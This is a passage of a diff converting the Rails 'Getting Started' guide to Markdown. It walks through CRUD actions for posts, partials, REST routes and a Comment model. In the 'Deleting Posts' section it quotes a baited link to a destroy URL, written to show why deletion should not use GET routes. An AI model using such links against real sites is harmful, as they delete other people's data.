+`show` action before proceeding. Open `config/routes.rb` and add the following route:
-<ruby>
+```ruby
get "posts/:id" => "posts#show"
-</ruby>
+```
-The special syntax +:id+ tells rails that this route expects an +:id+
+The special syntax `:id` tells rails that this route expects an `:id`
parameter, which in our case will be the id of the post. Note that this
-time we had to specify the actual mapping, +posts#show+ because
+time we had to specify the actual mapping, `posts#show` because
otherwise Rails would not know which action to render.
-As we did before, we need to add the +show+ action in the
-+posts_controller+ and its respective view.
+As we did before, we need to add the `show` action in the
+`posts_controller` and its respective view.
-<ruby>
+```ruby
def show
@post = Post.find(params[:id])
end
-</ruby>
+```
-A couple of things to note. We use +Post.find+ to find the post we're
-interested in. We also use an instance variable (prefixed by +@+) to
+A couple of things to note. We use `Post.find` to find the post we're
+interested in. We also use an instance variable (prefixed by `@`) to
hold a reference to the post object. We do this because Rails will pass all instance
variables to the view.
-Now, create a new file +app/view/posts/show.html.erb+ with the following
+Now, create a new file `app/view/posts/show.html.erb` with the following
content:
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -571,34 +576,34 @@ content:
<strong>Text:</strong>
<%= @post.text %>
</p>
-</erb>
+```
Finally, if you now go to
-"http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll
+[http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll
be able to create a post. Try it!
-!images/getting_started/show_action_for_posts.png(Show action for posts)!
+![Show action for posts](images/getting_started/show_action_for_posts.png)
-h4. Listing all posts
+### Listing all posts
We still need a way to list all our posts, so let's do that. As usual,
-we'll need a route placed into +config/routes.rb+:
+we'll need a route placed into `config/routes.rb`:
-<ruby>
+```ruby
get "posts" => "posts#index"
-</ruby>
+```
-And an action for that route inside the +PostsController+ in the +app/controllers/posts_controller.rb+ file:
+And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
-<ruby>
+```ruby
def index
@posts = Post.all
end
-</ruby>
+```
-And then finally a view for this action, located at +app/views/posts/index.html.erb+:
+And then finally a view for this action, located at `app/views/posts/index.html.erb`:
-<erb>
+```html+erb
<h1>Listing posts</h1>
<table>
@@ -614,45 +619,45 @@ And then finally a view for this action, located at +app/views/posts/index.html.
</tr>
<% end %>
</table>
-</erb>
+```
-Now if you go to +http://localhost:3000/posts+ you will see a list of all the posts that you have created.
+Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
-h4. Adding links
+### Adding links
You can now create, show, and list posts. Now let's add some links to
navigate through pages.
-Open +app/views/welcome/index.html.erb+ and modify it as follows:
+Open `app/views/welcome/index.html.erb` and modify it as follows:
-<ruby>
+```html+erb
<h1>Hello, Rails!</h1>
<%= link_to "My Blog", :controller => "posts" %>
-</ruby>
+```
-The +link_to+ method is one of Rails' built-in view helpers. It creates a
+The `link_to` method is one of Rails' built-in view helpers. It creates a
hyperlink based on text to display and where to go - in this case, to the path
for posts.
-Let's add links to the other views as well, starting with adding this "New Post" link to +app/views/posts/index.html.erb+, placing it above the +&lt;table&gt;+ tag:
+Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
-<erb>
+```erb
<%= link_to 'New post', :action => :new %>
-</erb>
+```
-This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- +app/views/posts/new.html.erb+ -- to go back to the +index+ action. Do this by adding this underneath the form in this template:
+This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- `app/views/posts/new.html.erb` -- to go back to the `index` action. Do this by adding this underneath the form in this template:
-<erb>
+```erb
<%= form_for :post do |f| %>
...
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
-Finally, add another link to the +app/views/posts/show.html.erb+ template to go back to the +index+ action as well, so that people who are viewing a single post can go back and view the whole list again:
+Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -664,72 +669,71 @@ Finally, add another link to the +app/views/posts/show.html.erb+ template to go
</p>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
TIP: If you want to link to an action in the same controller, you don't
-need to specify the +:controller+ option, as Rails will use the current
+need to specify the `:controller` option, as Rails will use the current
controller by default.
TIP: In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to stop
and restart the web server when a change is made.
-h4. Allowing the update of fields
+### Allowing the update of fields
-The model file, +app/models/post.rb+ is about as simple as it can get:
+The model file, `app/models/post.rb` is about as simple as it can get:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
end
-</ruby>
+```
-There isn't much to this file - but note that the +Post+ class inherits from
-+ActiveRecord::Base+. Active Record supplies a great deal of functionality to
+There isn't much to this file - but note that the `Post` class inherits from
+`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
your Rails models for free, including basic database CRUD (Create, Read, Update,
Destroy) operations, data validation, as well as sophisticated search support
and the ability to relate multiple models to one another.
Rails includes methods to help you secure some of your model fields.
-Open the +app/models/post.rb+ file and edit it:
+Open the `app/models/post.rb` file and edit it:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
attr_accessible :text, :title
end
-</ruby>
+```
This change will ensure that all changes made through HTML forms can edit the content of the text and title fields.
It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course.
-Accessible attributes and the mass assignment problem is covered in details in the "Security guide":security.html#mass-assignment
+Accessible attributes and the mass assignment problem is covered in details in the [Security guide](security.html#mass-assignment)
-h4. Adding Some Validation
+### Adding Some Validation
Rails includes methods to help you validate the data that you send to models.
-Open the +app/models/post.rb+ file and edit it:
+Open the `app/models/post.rb` file and edit it:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
attr_accessible :text, :title
validates :title, :presence => true,
:length => { :minimum => 5 }
end
-</ruby>
+```
These changes will ensure that all posts have a title that is at least five characters long.
Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their
format, and the existence of associated objects. Validations are covered in detail
-in "Active Record Validations and
-Callbacks":active_record_validations_callbacks.html#validations-overview
+in [Active Record Validations and Callbacks](active_record_validations_callbacks.html#validations-overview)
-With the validation now in place, when you call +@post.save+ on an invalid
-post, it will return +false+. If you open +app/controllers/posts_controller.rb+
-again, you'll notice that we don't check the result of calling +@post.save+
-inside the +create+ action. If +@post.save+ fails in this situation, we need to
-show the form back to the user. To do this, change the +new+ and +create+
-actions inside +app/controllers/posts_controller.rb+ to these:
+With the validation now in place, when you call `@post.save` on an invalid
+post, it will return `false`. If you open `app/controllers/posts_controller.rb`
+again, you'll notice that we don't check the result of calling `@post.save`
+inside the `create` action. If `@post.save` fails in this situation, we need to
+show the form back to the user. To do this, change the `new` and `create`
+actions inside `app/controllers/posts_controller.rb` to these:
-<ruby>
+```ruby
def new
@post = Post.new
end
@@ -743,27 +747,27 @@ def create
render 'new'
end
end
-</ruby>
+```
-The +new+ action is now creating a new instance variable called +@post+, and
+The `new` action is now creating a new instance variable called `@post`, and
you'll see why that is in just a few moments.
-Notice that inside the +create+ action we use +render+ instead of +redirect_to+ when +save+
-returns +false+. The +render+ method is used so that the +@post+ object is passed back to the +new+ template when it is rendered. This rendering is done within the same request as the form submission, whereas the +redirect_to+ will tell the browser to issue another request.
+Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
+returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
If you reload
-"http://localhost:3000/posts/new":http://localhost:3000/posts/new and
+[http://localhost:3000/posts/new](http://localhost:3000/posts/new) and
try to save a post without a title, Rails will send you back to the
form, but that's not very useful. You need to tell the user that
something went wrong. To do that, you'll modify
-+app/views/posts/new.html.erb+ to check for error messages:
+`app/views/posts/new.html.erb` to check for error messages:
-<erb>
+```html+erb
<%= form_for :post, :url => { :action => :create } do |f| %>
<% if @post.errors.any? %>
<div id="errorExplanation">
<h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
+ this post from being saved:</h2>
<ul>
<% @post.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
@@ -787,55 +791,53 @@ something went wrong. To do that, you'll modify
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
A few things are going on. We check if there are any errors with
-+@post.errors.any?+, and in that case we show a list of all
-errors with +@post.errors.full_messages+.
+`@post.errors.any?`, and in that case we show a list of all
+errors with `@post.errors.full_messages`.
-+pluralize+ is a rails helper that takes a number and a string as its
+`pluralize` is a rails helper that takes a number and a string as its
arguments. If the number is greater than one, the string will be automatically pluralized.
-The reason why we added +@post = Post.new+ in +posts_controller+ is that
-otherwise +@post+ would be +nil+ in our view, and calling
-+@post.errors.any?+ would throw an error.
+The reason why we added `@post = Post.new` in `posts_controller` is that
+otherwise `@post` would be `nil` in our view, and calling
+`@post.errors.any?` would throw an error.
TIP: Rails automatically wraps fields that contain an error with a div
-with class +field_with_errors+. You can define a css rule to make them
+with class `field_with_errors`. You can define a css rule to make them
standout.
Now you'll get a nice error message when saving a post without title when you
-attempt to do just that on the "new post form(http://localhost:3000/posts/new)":http://localhost:3000/posts/new.
+attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
-!images/getting_started/form_with_errors.png(Form With Errors)!
+![Form With Errors](images/getting_started/form_with_errors.png)
-h4. Updating Posts
+### Updating Posts
-We've covered the "CR" part of CRUD. Now let's focus on the "U" part,
-updating posts.
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
-The first step we'll take is adding a +edit+ action to
-+posts_controller+.
+The first step we'll take is adding a `edit` action to `posts_controller`.
-Start by adding a route to +config/routes.rb+:
+Start by adding a route to `config/routes.rb`:
-<ruby>
+```ruby
get "posts/:id/edit" => "posts#edit"
-</ruby>
+```
And then add the controller action:
-<ruby>
+```ruby
def edit
@post = Post.find(params[:id])
end
-</ruby>
+```
The view will contain a form similar to the one we used when creating
-new posts. Create a file called +app/views/posts/edit.html.erb+ and make
+new posts. Create a file called `app/views/posts/edit.html.erb` and make
it look as follows:
-<erb>
+```html+erb
<h1>Editing post</h1>
<%= form_for :post, :url => { :action => :update, :id => @post.id },
@@ -843,7 +845,7 @@ it look as follows:
<% if @post.errors.any? %>
<div id="errorExplanation">
<h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
+ this post from being saved:</h2>
<ul>
<% @post.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
@@ -867,27 +869,27 @@ it look as follows:
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
-This time we point the form to the +update+ action, which is not defined yet
+This time we point the form to the `update` action, which is not defined yet
but will be very soon.
-The +:method => :put+ option tells Rails that we want this form to be
-submitted via the +PUT+, HTTP method which is the HTTP method you're expected to use to
-*update* resources according to the REST protocol.
+The `:method => :put` option tells Rails that we want this form to be
+submitted via the `PUT`, HTTP method which is the HTTP method you're expected to use to
+**update** resources according to the REST protocol.
-TIP: By default forms built with the +form_for_ helper are sent via +POST+.
+TIP: By default forms built with the _form_for_ helper are sent via `POST`.
-Next, we need to add the +update+ action. The file
-+config/routes.rb+ will need just one more line:
+Next, we need to add the `update` action. The file
+`config/routes.rb` will need just one more line:
-<ruby>
+```ruby
put "posts/:id" => "posts#update"
-</ruby>
+```
-And then create the +update+ action in +app/controllers/posts_controller.rb+:
+And then create the `update` action in `app/controllers/posts_controller.rb`:
-<ruby>
+```ruby
def update
@post = Post.find(params[:id])
@@ -897,24 +899,23 @@ def update
render 'edit'
end
end
-</ruby>
+```
-The new method, +update_attributes+, is used when you want to update a record
+The new method, `update_attributes`, is used when you want to update a record
that already exists, and it accepts a hash containing the attributes
that you want to update. As before, if there was an error updating the
post we want to show the form back to the user.
-TIP: you don't need to pass all attributes to +update_attributes+. For
-example, if you'd call +@post.update_attributes(:title => 'A new title')+
-Rails would only update the +title+ attribute, leaving all other
+TIP: you don't need to pass all attributes to `update_attributes`. For
+example, if you'd call `@post.update_attributes(:title => 'A new title')`
+Rails would only update the `title` attribute, leaving all other
attributes untouched.
-Finally, we want to show a link to the +edit+ action in the list of all the
-posts, so let's add that now to +app/views/posts/index.html.erb+ to make it
+Finally, we want to show a link to the `edit` action in the list of all the
+posts, so let's add that now to `app/views/posts/index.html.erb` to make it
appear next to the "Show" link:
-<erb>
-
+```html+erb
<table>
<tr>
<th>Title</th>
@@ -932,31 +933,29 @@ appear next to the "Show" link:
</tr>
<% end %>
</table>
-</erb>
+```
-And we'll also add one to the +app/views/posts/show.html.erb+ template as well,
+And we'll also add one to the `app/views/posts/show.html.erb` template as well,
so that there's also an "Edit" link on a post's page. Add this at the bottom of
the template:
-<erb>
+```html+erb
...
-
<%= link_to 'Back', :action => :index %>
| <%= link_to 'Edit', :action => :edit, :id => @post.id %>
-</erb>
+```
And here's how our app looks so far:
-!images/getting_started/index_action_with_edit_link.png(Index action
-with edit link)!
+![Index action with edit link](images/getting_started/index_action_with_edit_link.png)
-h4. Using partials to clean up duplication in views
+### Using partials to clean up duplication in views
-+partials+ are what Rails uses to remove duplication in views. Here's a
+`partials` are what Rails uses to remove duplication in views. Here's a
simple example:
-<erb>
+```html+erb
# app/views/user/show.html.erb
<h1><%= @user.name %></h1>
@@ -968,24 +967,24 @@ simple example:
<%= @user.location %>
<%= @user.about_me %>
-</erb>
+```
-The +users/show+ template will automatically include the content of the
-+users/_user_details+ template. Note that partials are prefixed by an underscore,
+The `users/show` template will automatically include the content of the
+`users/_user_details` template. Note that partials are prefixed by an underscore,
as to not be confused with regular views. However, you don't include the
-underscore when including them with the +helper+ method.
+underscore when including them with the `helper` method.
-TIP: You can read more about partials in the "Layouts and Rendering in
-Rails":layouts_and_rendering.html guide.
+TIP: You can read more about partials in the
+[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
-Our +edit+ action looks very similar to the +new+ action, in fact they
+Our `edit` action looks very similar to the `new` action, in fact they
both share the same code for displaying the form. Lets clean them up by
using a partial.
-Create a new file +app/views/posts/_form.html.erb+ with the following
+Create a new file `app/views/posts/_form.html.erb` with the following
content:
-<erb>
+```html+erb
<%= form_for @post do |f| %>
<% if @post.errors.any? %>
<div id="errorExplanation">
@@ -1012,56 +1011,55 @@ content:
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
-Everything except for the +form_for+ declaration remained the same.
-How +form_for+ can figure out the right +action+ and +method+ attributes
+Everything except for the `form_for` declaration remained the same.
+How `form_for` can figure out the right `action` and `method` attributes
when building the form will be explained in just a moment. For now, let's update the
-+app/views/posts/new.html.erb+ view to use this new partial, rewriting it
+`app/views/posts/new.html.erb` view to use this new partial, rewriting it
completely:
-<erb>
+```html+erb
<h1>New post</h1>
<%= render 'form' %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
-Then do the same for the +app/views/posts/edit.html.erb+ view:
+Then do the same for the `app/views/posts/edit.html.erb` view:
-<erb>
+```html+erb
<h1>Edit post</h1>
<%= render 'form' %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
-Point your browser to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and
+Point your browser to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and
try creating a new post. Everything still works. Now try editing the
post and you'll receive the following error:
-!images/getting_started/undefined_method_post_path.png(Undefined method
-post_path)!
+![Undefined method post_path](images/getting_started/undefined_method_post_path.png)
-To understand this error, you need to understand how +form_for+ works.
-When you pass an object to +form_for+ and you don't specify a +:url+
-option, Rails will try to guess the +action+ and +method+ options by
+To understand this error, you need to understand how `form_for` works.
+When you pass an object to `form_for` and you don't specify a `:url`
+option, Rails will try to guess the `action` and `method` options by
checking if the passed object is a new record or not. Rails follows the
-REST convention, so to create a new +Post+ object it will look for a
-route named +posts_path+, and to update a +Post+ object it will look for
-a route named +post_path+ and pass the current object. Similarly, rails
+REST convention, so to create a new `Post` object it will look for a
+route named `posts_path`, and to update a `Post` object it will look for
+a route named `post_path` and pass the current object. Similarly, rails
knows that it should create new objects via POST and update them via
PUT.
-If you run +rake routes+ from the console you'll see that we already
-have a +posts_path+ route, which was created automatically by Rails when we
+If you run `rake routes` from the console you'll see that we already
+have a `posts_path` route, which was created automatically by Rails when we
defined the route for the index action.
-However, we don't have a +post_path+ yet, which is the reason why we
+However, we don't have a `post_path` yet, which is the reason why we
received an error before.
-<shell>
+```bash
# rake routes
posts GET /posts(.:format) posts#index
@@ -1071,63 +1069,63 @@ posts_new GET /posts/new(.:format) posts#new
GET /posts/:id/edit(.:format) posts#edit
PUT /posts/:id(.:format) posts#update
root / welcome#index
-</shell>
+```
-To fix this, open +config/routes.rb+ and modify the +get "posts/:id"+
+To fix this, open `config/routes.rb` and modify the `get "posts/:id"`
line like this:
-<ruby>
+```ruby
get "posts/:id" => "posts#show", :as => :post
-</ruby>
+```
-The +:as+ option tells the +get+ method that we want to make routing helpers
-called +post_url+ and +post_path+ available to our application. These are
-precisely the methods that the +form_for+ needs when editing a post, and so now
+The `:as` option tells the `get` method that we want to make routing helpers
+called `post_url` and `post_path` available to our application. These are
+precisely the methods that the `form_for` needs when editing a post, and so now
you'll be able to update posts again.
-NOTE: The +:as+ option is available on the +post+, +put+, +delete+ and +match+
+NOTE: The `:as` option is available on the `post`, `put`, `delete` and `match`
routing methods also.
-h4. Deleting Posts
+### Deleting Posts
We're now ready to cover the "D" part of CRUD, deleting posts from the
database. Following the REST convention, we're going to add a route for
-deleting posts to +config/routes.rb+:
+deleting posts to `config/routes.rb`:
-<ruby>
+```ruby
delete "posts/:id" => "posts#destroy"
-</ruby>
+```
-The +delete+ routing method should be used for routes that destroy
-resources. If this was left as a typical +get+ route, it could be possible for
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
people to craft malicious URLs like this:
-<html>
+```html
<a href='http://yoursite.com/posts/1/destroy'>look at this cat!</a>
-</html>
+```
-We use the +delete+ method for destroying resources, and this route is mapped to
-the +destroy+ action inside +app/controllers/posts_controller.rb+, which doesn't exist yet, but is
+We use the `delete` method for destroying resources, and this route is mapped to
+the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
provided below:
-<ruby>
+```ruby
def destroy
@post = Post.find(params[:id])
@post.destroy
redirect_to :action => :index
end
-</ruby>
+```
-You can call +destroy+ on Active Record objects when you want to delete
+You can call `destroy` on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
-action since we're redirecting to the +index+ action.
+action since we're redirecting to the `index` action.
-Finally, add a 'destroy' link to your +index+ action template
-(+app/views/posts/index.html.erb) to wrap everything
+Finally, add a 'destroy' link to your `index` action template
+(`app/views/posts/index.html.erb`) to wrap everything
together.
-<erb>
+```html+erb
<h1>Listing Posts</h1>
<table>
<tr>
@@ -1148,31 +1146,31 @@ together.
</tr>
<% end %>
</table>
-</erb>
+```
-Here we're using +link_to+ in a different way. We wrap the
-+:action+ and +:id+ attributes in a hash so that we can pass those two keys in
-first as one argument, and then the final two keys as another argument. The +:method+ and +:'data-confirm'+
+Here we're using `link_to` in a different way. We wrap the
+`:action` and `:id` attributes in a hash so that we can pass those two keys in
+first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'`
options are used as HTML5 attributes so that when the link is clicked,
-Rails will first show a confirm dialog to the user, and then submit the link with method +delete+.
-This is done via the JavaScript file +jquery_ujs+ which is automatically included
-into your application's layout (+app/views/layouts/application.html.erb+) when you
+Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
+This is done via the JavaScript file `jquery_ujs` which is automatically included
+into your application's layout (`app/views/layouts/application.html.erb`) when you
generated the application. Without this file, the confirmation dialog box wouldn't appear.
-!images/getting_started/confirm_dialog.png(Confirm Dialog)!
+![Confirm Dialog](images/getting_started/confirm_dialog.png)
Congratulations, you can now create, show, list, update and destroy
posts. In the next section will see how Rails can aid us when creating
REST applications, and how we can refactor our Blog app to take
advantage of it.
-h4. Going Deeper into REST
+### Going Deeper into REST
We've now covered all the CRUD actions of a REST app. We did so by
declaring separate routes with the appropriate verbs into
-+config/routes.rb+. Here's how that file looks so far:
+`config/routes.rb`. Here's how that file looks so far:
-<ruby>
+```ruby
get "posts" => "posts#index"
get "posts/new"
post "posts" => "posts#create"
@@ -1180,26 +1178,26 @@ get "posts/:id" => "posts#show", :as => :post
get "posts/:id/edit" => "posts#edit"
put "posts/:id" => "posts#update"
delete "posts/:id" => "posts#destroy"
-</ruby>
+```
-That's a lot to type for covering a single *resource*. Fortunately,
-Rails provides a +resources+ method which can be used to declare a
-standard REST resource. Here's how +config/routes.rb+ looks after the
+That's a lot to type for covering a single **resource**. Fortunately,
+Rails provides a `resources` method which can be used to declare a
+standard REST resource. Here's how `config/routes.rb` looks after the
cleanup:
-<ruby>
+```ruby
Blog::Application.routes.draw do
resources :posts
root :to => "welcome#index"
end
-</ruby>
+```
-If you run +rake routes+, you'll see that all the routes that we
+If you run `rake routes`, you'll see that all the routes that we
declared before are still available:
-<shell>
+```bash
# rake routes
posts GET /posts(.:format) posts#index
POST /posts(.:format) posts#create
@@ -1209,7 +1207,7 @@ edit_post GET /posts/:id/edit(.:format) posts#edit
PUT /posts/:id(.:format) posts#update
DELETE /posts/:id(.:format) posts#destroy
root / welcome#index
-</shell>
+```
Also, if you go through the motions of creating, updating and deleting
posts the app still works as before.
@@ -1217,48 +1215,50 @@ posts the app still works as before.
TIP: In general, Rails encourages the use of resources objects in place
of declaring routes manually. It was only done in this guide as a learning
exercise. For more information about routing, see
-"Rails Routing from the Outside In":routing.html.
+[Rails Routing from the Outside In](routing.html).
-h3. Adding a Second Model
+Adding a Second Model
+---------------------
It's time to add a second model to the application. The second model will handle comments on
posts.
-h4. Generating a Model
+### Generating a Model
We're going to see the same generator that we used before when creating
-the +Post+ model. This time we'll create a +Comment+ model to hold
+the `Post` model. This time we'll create a `Comment` model to hold
reference of post comments. Run this command in your terminal:
-<shell>
+```bash
$ rails generate model Comment commenter:string body:text post:references
-</shell>
+```
This command will generate four files:
-|_.File |_.Purpose|
-|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
-| app/models/comment.rb | The Comment model |
-| test/unit/comment_test.rb | Unit testing harness for the comments model |
-| test/fixtures/comments.yml | Sample comments for use in testing |
+| File | Purpose |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb | The Comment model |
+| test/unit/comment_test.rb | Unit testing harness for the comments model |
+| test/fixtures/comments.yml | Sample comments for use in testing |
-First, take a look at +comment.rb+:
+First, take a look at `comment.rb`:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
belongs_to :post
attr_accessible :body, :commenter
end
-</ruby>
+```
-This is very similar to the +post.rb+ model that you saw earlier. The difference
-is the line +belongs_to :post+, which sets up an Active Record _association_.
+This is very similar to the `post.rb` model that you saw earlier. The difference
+is the line `belongs_to :post`, which sets up an Active Record _association_.
You'll learn a little about associations in the next section of this guide.
In addition to the model, Rails has also made a migration to create the
corresponding database table:
-<ruby>
+```ruby
class CreateComments < ActiveRecord::Migration
def change
create_table :comments do |t|
@@ -1272,29 +1272,29 @@ class CreateComments < ActiveRecord::Migration
add_index :comments, :post_id
end
end
-</ruby>
+```
-The +t.references+ line sets up a foreign key column for the association between
-the two models. And the +add_index+ line sets up an index for this association
+The `t.references` line sets up a foreign key column for the association between
+the two models. And the `add_index` line sets up an index for this association
column. Go ahead and run the migration:
-<shell>
+```bash
$ rake db:migrate
-</shell>
+```
Rails is smart enough to only execute the migrations that have not already been
run against the current database, so in this case you will just see:
-<shell>
+```bash
== CreateComments: migrating =================================================
-- create_table(:comments)
-> 0.0008s
-- add_index(:comments, :post_id)
-> 0.0003s
== CreateComments: migrated (0.0012s) ========================================
-</shell>
+```
-h4. Associating Models
+### Associating Models
Active Record associations let you easily declare the relationship between two
models. In the case of comments and posts, you could write out the relationships
@@ -1307,61 +1307,61 @@ In fact, this is very close to the syntax that Rails uses to declare this
association. You've already seen the line of code inside the Comment model that
makes each comment belong to a Post:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
belongs_to :post
end
-</ruby>
+```
-You'll need to edit the +post.rb+ file to add the other side of the association:
+You'll need to edit the `post.rb` file to add the other side of the association:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true,
:length => { :minimum => 5 }
has_many :comments
end
-</ruby>
+```
These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable +@post+ containing a post, you can retrieve all
-the comments belonging to that post as an array using +@post.comments+.
+you have an instance variable `@post` containing a post, you can retrieve all
+the comments belonging to that post as an array using `@post.comments`.
-TIP: For more information on Active Record associations, see the "Active Record
-Associations":association_basics.html guide.
+TIP: For more information on Active Record associations, see the [Active Record
+Associations](association_basics.html) guide.
-h4. Adding a Route for Comments
+### Adding a Route for Comments
-As with the +welcome+ controller, we will need to add a route so that Rails knows
-where we would like to navigate to see +comments+. Open up the
-+config/routes.rb+ file again, and edit it as follows:
+As with the `welcome` controller, we will need to add a route so that Rails knows
+where we would like to navigate to see `comments`. Open up the
+`config/routes.rb` file again, and edit it as follows:
-<ruby>
+```ruby
resources :posts do
resources :comments
end
-</ruby>
+```
-This creates +comments+ as a _nested resource_ within +posts+. This is another
+This creates `comments` as a _nested resource_ within `posts`. This is another
part of capturing the hierarchical relationship that exists between posts and
comments.
-TIP: For more information on routing, see the "Rails Routing from the Outside
-In":routing.html guide.
+TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
-h4. Generating a Controller
+### Generating a Controller
With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
-<shell>
+```bash
$ rails generate controller Comments
-</shell>
+```
This creates six files and one empty directory:
-|_.File/Directory |_.Purpose |
+| File/Directory | Purpose |
+| ------------------------------------------- | ---------------------------------------- |
| app/controllers/comments_controller.rb | The Comments controller |
| app/views/comments/ | Views of the controller are stored here |
| test/functional/comments_controller_test.rb | The functional tests for the controller |
@@ -1373,13 +1373,13 @@ This creates six files and one empty directory:
Like with any blog, our readers will create their comments directly after
reading the post, and once they have added their comment, will be sent back to
the post show page to see their comment now listed. Due to this, our
-+CommentsController+ is there to provide a method to create comments and delete
+`CommentsController` is there to provide a method to create comments and delete
spam comments when they arrive.
So first, we'll wire up the Post show template
-(+/app/views/posts/show.html.erb+) to let us make a new comment:
+(`/app/views/posts/show.html.erb`) to let us make a new comment:
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1407,15 +1407,15 @@ So first, we'll wire up the Post show template
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
-This adds a form on the +Post+ show page that creates a new comment by
-calling the +CommentsController+ +create+ action. The +form_for+ call here uses
-an array, which will build a nested route, such as +/posts/1/comments+.
+This adds a form on the `Post` show page that creates a new comment by
+calling the `CommentsController` `create` action. The `form_for` call here uses
+an array, which will build a nested route, such as `/posts/1/comments`.
-Let's wire up the +create+:
+Let's wire up the `create`:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def create
@post = Post.find(params[:post_id])
@@ -1423,25 +1423,25 @@ class CommentsController < ApplicationController
redirect_to post_path(@post)
end
end
-</ruby>
+```
You'll see a bit more complexity here than you did in the controller for posts.
That's a side-effect of the nesting that you've set up. Each request for a
comment has to keep track of the post to which the comment is attached, thus the
-initial call to the +find+ method of the +Post+ model to get the post in question.
+initial call to the `find` method of the `Post` model to get the post in question.
In addition, the code takes advantage of some of the methods available for an
-association. We use the +create+ method on +@post.comments+ to create and save
+association. We use the `create` method on `@post.comments` to create and save
the comment. This will automatically link the comment so that it belongs to that
particular post.
Once we have made the new comment, we send the user back to the original post
-using the +post_path(@post)+ helper. As we have already seen, this calls the
-+show+ action of the +PostsController+ which in turn renders the +show.html.erb+
+using the `post_path(@post)` helper. As we have already seen, this calls the
+`show` action of the `PostsController` which in turn renders the `show.html.erb`
template. This is where we want the comment to show, so let's add that to the
-+app/views/posts/show.html.erb+.
+`app/views/posts/show.html.erb`.
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1482,26 +1482,27 @@ template. This is where we want the comment to show, so let's add that to the
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
Now you can add posts and comments to your blog and have them show up in the
right places.
-!images/getting_started/post_with_comments.png(Post with Comments)!
+![Post with Comments](images/getting_started/post_with_comments.png)
-h3. Refactoring
+Refactoring
+-----------
Now that we have posts and comments working, take a look at the
-+app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
+`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
use partials to clean it up.
-h4. Rendering Partial Collections
+### Rendering Partial Collections
First, we will make a comment partial to extract showing all the comments for the
-post. Create the file +app/views/comments/_comment.html.erb+ and put the
+post. Create the file `app/views/comments/_comment.html.erb` and put the
following into it:
-<erb>
+```html+erb
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1511,12 +1512,12 @@ following into it:
<strong>Comment:</strong>
<%= comment.body %>
</p>
-</erb>
+```
-Then you can change +app/views/posts/show.html.erb+ to look like the
+Then you can change `app/views/posts/show.html.erb` to look like the
following:
-<erb>
+```html+erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1547,20 +1548,20 @@ following:
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
-This will now render the partial in +app/views/comments/_comment.html.erb+ once
-for each comment that is in the +@post.comments+ collection. As the +render+
-method iterates over the <tt>@post.comments</tt> collection, it assigns each
+This will now render the partial in `app/views/comments/_comment.html.erb` once
